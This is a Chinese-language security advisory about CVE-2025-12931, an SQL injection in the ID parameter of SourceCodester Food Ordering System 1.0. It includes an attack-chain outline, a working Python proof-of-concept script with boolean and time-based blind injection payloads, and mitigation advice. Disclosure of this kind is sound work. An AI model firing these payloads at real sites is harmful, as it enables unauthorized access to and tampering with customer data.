IPBUF安全漏洞报告
English
CVE-2025-12931 CVSS 6.3 中危

CVE-2025-12931 SourceCodester Food Ordering System 1.0 SQL注入漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-12931
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Food Ordering System 1.0

相关标签

SQL注入CVE-2025-12931SourceCodesterFood Ordering SystemWeb安全漏洞远程代码执行数据泄露PHPWeb应用安全

漏洞概述

CVE-2025-12931是SourceCodester公司开发的Food Ordering System 1.0版本中存在的一个中等严重性安全漏洞。该漏洞位于应用程序的路由处理文件/routers/edit-orders.php中,攻击者可以通过操纵ID参数实现SQL注入攻击。Food Ordering System是一款用于餐厅外卖和订单管理的Web应用程序,广泛应用于小型餐饮企业的线上订餐系统。由于该漏洞无需高权限认证即可被利用,且已公开利用代码,对使用该系统的餐厅和外卖平台构成潜在安全风险。攻击者利用此漏洞可以访问、修改或删除数据库中的敏感信息,包括客户订单数据、用户个人信息以及商业交易记录等。该漏洞的CVSS评分为6.3,属于中等严重性级别,但其公开利用特性增加了实际威胁程度。系统管理员应及时采取修复措施,避免敏感数据泄露和业务中断。

技术细节

该SQL注入漏洞存在于SourceCodester Food Ordering System 1.0的/routers/edit-orders.php文件中。漏洞根源在于应用程序对用户输入的ID参数缺乏充分的输入验证和参数化查询处理。攻击者可以通过构造恶意的SQL语句片段,绕过应用程序的前端验证,直接对数据库执行未授权操作。具体而言,当用户提交修改订单请求时,系统直接将ID参数值拼接到SQL查询语句中,而非使用参数化查询或预编译语句。攻击者可以利用UNION SELECT、布尔盲注、时间盲注或报错注入等技术,从数据库中提取敏感信息,包括管理员密码哈希、用户账户数据、订单详情等。在低权限认证条件下,攻击者即可利用此漏洞进行数据窃取或数据篡改。攻击向量为网络远程方式,无需用户交互,简化了攻击复杂度。建议开发者使用PDO或MySQLi的预处理语句,并实施严格的输入过滤和参数验证机制来修复此漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的Food Ordering System版本,确认/routers/edit-orders.php端点存在
STEP 2
步骤2: 构造恶意请求
攻击者构造包含SQL注入载荷的HTTP请求,操纵ID参数注入恶意SQL语句
STEP 3
步骤3: 漏洞验证
通过布尔盲注或时间盲注技术验证SQL注入漏洞,确认数据库可被操控
STEP 4
步骤4: 数据提取
利用UNION注入或盲注技术从数据库中提取敏感信息,包括用户数据、订单记录等
STEP 5
步骤5: 权限提升或数据篡改
根据提取的信息进行进一步攻击,可能获取管理员权限或修改订单数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12931 PoC - SQL Injection in SourceCodester Food Ordering System 1.0 # Target: /routers/edit-orders.php # Parameter: ID def exploit_sqli(target_url, order_id): """ SQL Injection PoC for CVE-2025-12931 This PoC demonstrates boolean-based blind SQL injection """ # Normal request (baseline) normal_url = f"{target_url}/routers/edit-orders.php?ID={order_id}" # SQL Injection payloads true_condition = f"{order_id}' AND 1=1 -- -" false_condition = f"{order_id}' AND 1=2 -- -" # Time-based blind SQL injection payload time_based_payload = f"{order_id}' AND SLEEP(5) -- -" print(f"[*] Target: {target_url}") print(f"[*] Testing normal request...") # Test boolean-based injection try: true_url = f"{target_url}/routers/edit-orders.php?ID={true_condition}" false_url = f"{target_url}/routers/edit-orders.php?ID={false_condition}" resp_true = requests.get(true_url, timeout=10) resp_false = requests.get(false_url, timeout=10) if resp_true.status_code != resp_false.status_code or resp_true.text != resp_false.text: print("[+] Boolean-based SQL injection confirmed!") print(f"[+] True condition response length: {len(resp_true.text)}") print(f"[+] False condition response length: {len(resp_false.text)}") except requests.RequestException as e: print(f"[-] Request error: {e}") # Test time-based injection try: time_url = f"{target_url}/routers/edit-orders.php?ID={time_based_payload}" print(f"[*] Testing time-based SQL injection...") response = requests.get(time_url, timeout=15) print("[+] Time-based SQL injection payload sent") except requests.Timeout: print("[+] Time-based SQL injection confirmed - response delayed") except requests.RequestException as e: print(f"[-] Request error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <order_id>") print(f"Example: python {sys.argv[0]} http://localhost:8080 1") sys.exit(1) target = sys.argv[1].rstrip('/') order_id = sys.argv[2] exploit_sqli(target, order_id)

影响范围

SourceCodester Food Ordering System 1.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1) 在Web服务器层面配置URL过滤规则,拦截包含可疑SQL关键字的请求;2) 限制/routers/edit-orders.php的访问权限,仅允许可信IP访问;3) 启用数据库审计日志,监控异常查询行为;4) 实施IP限流和请求频率限制,防止自动化攻击;5) 考虑使用ModSecurity等WAF工具添加临时防护规则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表